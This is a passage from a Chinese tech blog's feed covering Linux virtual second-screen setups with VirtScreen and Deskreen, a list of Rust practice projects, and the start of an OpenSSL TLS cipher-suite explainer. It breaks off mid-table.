class=&amp;quot;L9&amp;quot; data-node-id=&amp;quot;20240613001945-h4zhi5y&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;        h&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;:&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; width  &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1112&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; start &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1184&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;kwd&amp;quot;&amp;gt;end&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1296&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; total &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1480&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; skew    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;0&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; clock  &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;67.06KHz&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L0&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;        v&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;:&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; height &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1080&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; start &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1083&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;kwd&amp;quot;&amp;gt;end&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1093&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; total &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1120&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;           clock  &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.88Hz&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L1&amp;quot; data-node-id=&amp;quot;20240613001945-3nifs22&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;[&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;spes@Gensoukyo &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;&lt;&#x2F;sub&gt;]&lt;&#x2F;span&gt;&lt;span class=&quot;pln&quot;&gt;$ xrandr &lt;&#x2F;span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;&#x2F;span&gt;&lt;span class=&quot;pln&quot;&gt;output VIRTUAL1 &lt;&#x2F;span&gt;&lt;span class=&quot;pun&quot;&gt;--&lt;&#x2F;span&gt;&lt;span class=&quot;pln&quot;&gt;right&lt;&#x2F;span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;&#x2F;span&gt;&lt;span class=&quot;pln&quot;&gt;of eDP1&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;&lt;&#x2F;ol&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在进行过一次 GUI 配置以后，VirtScreen 也可以以 CLI 模式启动，并且指定屏幕位置： &lt;code&gt;virtscreen --right&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;值得一提的是，VirtScreen 似乎默认副屏位于主屏左边，如果这时我用 &lt;code&gt;xrandr&lt;&#x2F;code&gt; 指定 &lt;code&gt;right-of&lt;&#x2F;code&gt; 参数时，显示就会变得很奇怪。&lt;&#x2F;p&gt;
&lt;p&gt;另外要注意的就是，VNC 客户端最好开启 “View Only” 模式。&lt;&#x2F;p&gt;
&lt;p&gt;最终效果如下：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] Emacs 中查看 xrandr 输出：物理输出 DP-1、HDMI1 均为 disconnected，仅虚拟输出 VIRTUAL1 挂有 1112x808_virt 模式（99.25MHz，行频 67.00KHz，刷新 59.60Hz，时序 1112&#x2F;1184&#x2F;1296&#x2F;1488、808&#x2F;811&#x2F;817&#x2F;848），配合 xrandr --addmode VIRTUAL1 1112x808_virt 与 --output VIRTUAL1 --right-of eDP1 把虚拟屏接到主屏右侧。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;em&gt;preview&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;deskreen&quot;&gt;Deskreen&lt;&#x2F;h4&gt;
&lt;p&gt;与 VirtScreen 不同，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pavlobu&#x2F;deskreen&quot;&gt;Deskreen&lt;&#x2F;a&gt; 使用类似直播的方式进行屏幕分享。&lt;&#x2F;p&gt;
&lt;p&gt;使用方式也非常简单。运行 &lt;code&gt;deskreen&lt;&#x2F;code&gt;，然后使用任意浏览器访问它提供的地址即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;224857rmxmnu9su6xcfl9n-20240613001945-ngmn13y-0c690e.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;connect&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;iPad 上查看分享的屏幕和窗口如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;224858pu9c0h4b9hjjuu99-20240613001945-nonptbk-593f9e.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&amp;gt; 📄 [图片文字版] 终端运行 deskreen 启动 Deskreen：日志显示 Deskreen signaling server 已在端口 3131 上线，提示 APPIMAGE 环境变量未定义（非 AppImage 方式启动），并反复输出 Electron contextIsolation 默认值将由 false 改为 true 的弃用警告（node:176234）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;100% screen&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于我使用的是 AwesomeWM，在一个标签下打开了窗口并使用 Deskreen 进行共享后，完全可以再切换到另一个标签下做别的事。所以用这种方式将移动设备作为监控，查看系统或状态、日志等倒是很不错。不过共享的窗口不能最小化，否则就什么都看不到了。&lt;&#x2F;p&gt;
&lt;p&gt;但是这种使用方式其实不能算真正的“副屏”，所以可以参考“&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pavlobu&#x2F;deskreen&#x2F;issues&#x2F;42&quot;&gt;Using xrandr to create a virtual display (Linux)&lt;&#x2F;a&gt;”的方式拓展虚拟屏幕并共享。但是在此过程中我还是遇到了一些问题。&lt;&#x2F;p&gt;
&lt;p&gt;首先，我使用的 Deskreen 版本是 1.0.11-1。如同上面链接中一样，对于我的机器已经存在的输出方式，如 DP、HDMI 等，就算 “addmode” 或是设置显示方式，这块屏幕仍然会处于 “disconnected”状态，需要修改 &lt;code&gt;xorg.conf&lt;&#x2F;code&gt;。但是由于之前折腾 Nvidia 显卡的经历，目前我还是十分抗拒再去修改这个文件的。然后，对于添加的虚拟输出，如 VIRTUAL1 等，Deskreen 却无法识别。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;dui-bi-he-zong-jie&quot;&gt;对比和总结&lt;&#x2F;h4&gt;
&lt;p&gt;首先由于工作原因，大部分时间我是使用手机热点，所以带宽不是很高，使用这两种方式的时候都出现了不同程度的卡顿和延迟。VirtScreen 的卡顿略微小一点。一方面，感觉 Deskreen 的桢率是要高于 VirtScreen 的，纵使有延迟，移动设备上的显示也十分顺滑；另一方面，Deskreen 使用 WebRTC 的话，带宽要求应该本身就高于 VNC。所以在热点下使用的话，Deskreen 还是不太令人满意。想象一下，自己如丝般顺滑的进行了一系列操作，屏幕上先是静止不动，然后突然象打鸡血一样疯狂操，画面太美不忍直视啊。不过如果是在正常的网络环境，使用普通的路由器，这两种方式都是没有问题的。&lt;&#x2F;p&gt;
&lt;p&gt;然后，Deskreen 的主要问题我认为还是无法识别虚拟输出，导致我无法把它当作一个正常的副屏来使用，顶多算一个监视器。希望以后能修复吧。&lt;&#x2F;p&gt;
&lt;p&gt;VirtScreen 使用 VNC 会导致屏幕上出现很多鼠标指针，虽然不影响使用，但是也算略有瑕疵。不过，从另一种角度来看的话，这也是一种特性了 :D&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;本文发表于 blogs.lifesucks.cn，经作者授权转载。&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;assets&#x2F;linisi-20240613001945-2uy7y1o-ec6857.svg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Rust By Practice( Rust 练习实践 )</title>
        <published>2024-06-12T00:00:00+00:00</published>
        <updated>2024-06-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust-by-practice-rust-练习实践/"/>
        <id>https://vercel.juzhong.asia/obsidian/rust-by-practice-rust-练习实践/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust-by-practice-rust-练习实践/">&lt;h2 id=&quot;zhi-de-xue-xi-de-xiao-xing-xiang-mu&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#%E5%80%BC%E5%BE%97%E5%AD%A6%E4%B9%A0%E7%9A%84%E5%B0%8F%E5%9E%8B%E9%A1%B9%E7%9B%AE&quot;&gt;值得学习的小型项目&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在国内外的各大 Rust 论坛上，以下问题非常常见:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;作为 Rust 新手，有哪些项目值得推荐学习?&lt;&#x2F;li&gt;
&lt;li&gt;求推荐代码优雅的小型项目&lt;&#x2F;li&gt;
&lt;li&gt;有哪些值得推荐的简单、易读的项目&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这些问题的答案往往只有一个，那就是实践：做一些优秀的练习题，然后阅读一些小而美的 Rust 项目。&lt;&#x2F;p&gt;
&lt;p&gt;这个恰恰跟本书的目标吻合，因此，我们决定收集一些优秀的资源，并在 &lt;em&gt;Rust语言实战&lt;&#x2F;em&gt; 中呈现给大家。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-ripgrep&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#1-ripgrep&quot;&gt;1. Ripgrep&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;以上的问题通常都会伴随着 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;BurntSushi&#x2F;ripgrep&quot;&gt;&lt;code&gt;ripgrep&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; 的推荐, 虽然我不认为它是一个小型项目，但是依然非常推荐大家学习，当然，首先你得做好深挖的准备和耐心。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-jiao-cheng-gou-jian-yi-ge-wen-ben-bian-ji-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#2-%E6%95%99%E7%A8%8B%E6%9E%84%E5%BB%BA%E4%B8%80%E4%B8%AA%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91%E5%99%A8&quot;&gt;2. 教程：构建一个文本编辑器&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;该教程 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.flenker.blog&#x2F;hecto&#x2F;&quot;&gt;&lt;code&gt;https:&#x2F;&#x2F;www.flenker.blog&#x2F;hecto&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; 将带领我们从零开始构建一个文本编辑器.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-ncspot&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#3-ncspot&quot;&gt;3. Ncspot&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hrkfdn&#x2F;ncspot&quot;&gt;Ncspot&lt;&#x2F;a&gt; 是一个终端访问的 Spotify 客户端，小巧、简单、良好的代码组织以及异步编程，值得学习.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-ming-ling-xing-rust&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#4-%E5%91%BD%E4%BB%A4%E8%A1%8C-rust&quot;&gt;4. 命令行 Rust&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kyclark&#x2F;command-line-rust&quot;&gt;这个项目&lt;&#x2F;a&gt; 是书本 &lt;code&gt;Command-Line Rust(O&#x27;Reily)&lt;&#x2F;code&gt; 的配套项目，可以帮助大家理解该如何更好的编写命令行程序，例如 &lt;code&gt;head&lt;&#x2F;code&gt;, &lt;code&gt;cat&lt;&#x2F;code&gt;, &lt;code&gt;ls&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-zai-png-zhong-yin-cang-ni-de-mi-mi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#5-%E5%9C%A8-png-%E4%B8%AD%E9%9A%90%E8%97%8F%E4%BD%A0%E7%9A%84%E7%A7%98%E5%AF%86&quot;&gt;5. 在 PNG 中隐藏你的秘密&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jrdngr.github.io&#x2F;pngme_book&#x2F;&quot;&gt;这本书&lt;&#x2F;a&gt; 将带领大家编写一个命令行程序，功能是在 PNG 文件中隐藏一些秘密信息，首要目标是让我们熟悉 Rust 代码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-shi-yong-rust-xie-yi-ge-xiao-xing-os&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#6-%E4%BD%BF%E7%94%A8-rust-%E5%86%99%E4%B8%80%E4%B8%AA%E5%B0%8F%E5%9E%8B-os&quot;&gt;6. 使用 Rust 写一个小型 OS&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;&quot;&gt;这个博客系列&lt;&#x2F;a&gt; 会带领大家使用 Rust 语言创建一个小型的操作系统。其中每一篇文章都是一个小的教程并包含完整的代码。&lt;&#x2F;p&gt;
&lt;p&gt;你也可以在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;phil-opp&#x2F;blog_os&quot;&gt;以下地址&lt;&#x2F;a&gt;找到完整的源代码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-codecrafters-io-xie-yi-ge-ni-zi-ji-de-git-docker-sqlite-huo-redis&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#7-codecraftersio-%E5%86%99%E4%B8%80%E4%B8%AA%E4%BD%A0%E8%87%AA%E5%B7%B1%E7%9A%84-git-dockersqlite-%E6%88%96-redis&quot;&gt;7. CodeCrafters.io: 写一个你自己的 Git， Docker，SQLite 或 Redis&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;codecrafters.io&#x2F;for&#x2F;rust&quot;&gt;CodeCrafters&lt;&#x2F;a&gt; 上，你可以从头开始重新创建您最喜欢的开发人员工具。这是一种掌握 Rust 的实践、最低限度指导的方法，同时欣赏我们每天使用的流行技术的内部结构和文档。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-mini-redis&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#8-mini-redis&quot;&gt;8. mini-redis&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tokio-rs&#x2F;mini-redis&quot;&gt;mini-redis&lt;&#x2F;a&gt; 是一个不完整的 Redis 客户端、服务器实现，由 tokio 官方出品，代码质量非常高，而且有详细的注释，非常适合学习 Rust 和异步编程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;9-shi-yong-rust-xie-yi-ge-jie-xi-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#9-%E4%BD%BF%E7%94%A8-rust-%E5%86%99%E4%B8%80%E4%B8%AA%E8%A7%A3%E6%9E%90%E5%99%A8&quot;&gt;9. 使用 Rust 写一个解析器&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-hosted-langs.github.io&#x2F;book&#x2F;&quot;&gt;这本开源书&lt;&#x2F;a&gt; 是一个使用 Rust 语言实现编译型语言的教程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;10-rustbian-xie-tui-xiang-zi-you-xi-jiao-cheng&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;practice-zh.course.rs&#x2F;elegant-code-base.html#10-rust%E7%BC%96%E5%86%99%E6%8E%A8%E7%AE%B1%E5%AD%90%E6%B8%B8%E6%88%8F%E6%95%99%E7%A8%8B&quot;&gt;10. Rust编写推箱子游戏教程&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sokoban.iolivia.me&#x2F;zh_cn&#x2F;c01-00-intro&quot;&gt;sokoban&lt;&#x2F;a&gt; 是一个使用 Rust 语言实现 sokoban 游戏的教程。虽然社区已停止活跃（ Initial Commits on Sep 3, 2019，GitHub 仓库最后一条 commit 是 last year ），但是项目是完善的 release v0.1.0，拿来练手是个不错的选择。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>基于OpenSSL的SSLTLS加密套件全解析</title>
        <published>2024-06-06T00:00:00+00:00</published>
        <updated>2024-06-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/基于openssl的ssltls加密套件全解析/"/>
        <id>https://vercel.juzhong.asia/obsidian/基于openssl的ssltls加密套件全解析/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/基于openssl的ssltls加密套件全解析/">&lt;h1 id=&quot;ji-yu-opensslde-ssltlsjia-mi-tao-jian-quan-jie-xi&quot;&gt;基于OpenSSL的SSLTLS加密套件全解析&lt;&#x2F;h1&gt;
&lt;p&gt;概述
SSL&#x2F;TLS握手时，客户端与服务端协商加密套件是很重要的一个步骤，协商出加密套件后才能继续完成后续的握手和加密通信。而现在SSL&#x2F;TLS协议通信的实现，基本都是通过OpenSSL开源库，本文章就主要介绍下加密套件的含义以及如何在OpenSSL中指定加密套件。
加密套件介绍
SSL&#x2F;TLS协议的加密套件是定义了在一次连接中所使用的各种加密算法的组合。它包括以下几个主要部分
密钥交换算法：用于协商会话密钥，如RSA、DH、ECDH等。
对称加密算法：用于实际数据传输的加解密，例如AES、3DES等。
消息认证码(MAC)或伪随机函数(PRF)：用于验证数据完整性及防止篡改，如SHA256等。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openssl-tls-ciphersuites&#x2F;tls-ciphersuite-components.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如何指定加密套件
使用OpenSSL或者Nginx实现SSL&#x2F;TLS协议时，都需要指定加密套件。&lt;&#x2F;p&gt;
&lt;p&gt;一般如下指定就可以，表示指定加密套件为任意算法，但身份认证算法和加密算法不能为空。这样客户端和服务端就会自动协商一个加密套件进行通信。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;example&quot; class=&quot;language-example &quot;&gt;&lt;code class=&quot;language-example&quot; data-lang=&quot;example&quot;&gt;  	ssl_ciphers ALL:!aNULL;  #Nginx配置加密套件
  	SSL_CTX_set_cipher_list(ServerCTX, &amp;quot;ALL:!aNULL&amp;quot;);  #openssl接口配置加密套件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但如果想自己指定加密套件，就可以使用以下列表中的一种。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;序号&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;加密套件(完整名称)&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;加密套件(openssl接口指定名称)&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;版本&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;密钥协商算法&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;身份验证算法&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;加密算法&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;MAC&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;any&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;any&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_CHACHA20_POLY1305_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;any&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;any&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;CHACHA20&#x2F;POLY1305(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_AES_128_GCM_SHA256&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.3&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;any&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;any&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(128)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;4&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDHE-ECDSA-AES256-GCM-SHA384&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;TLSv1.2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDH&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ECDSA&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AESGCM(256)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;AEAD&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
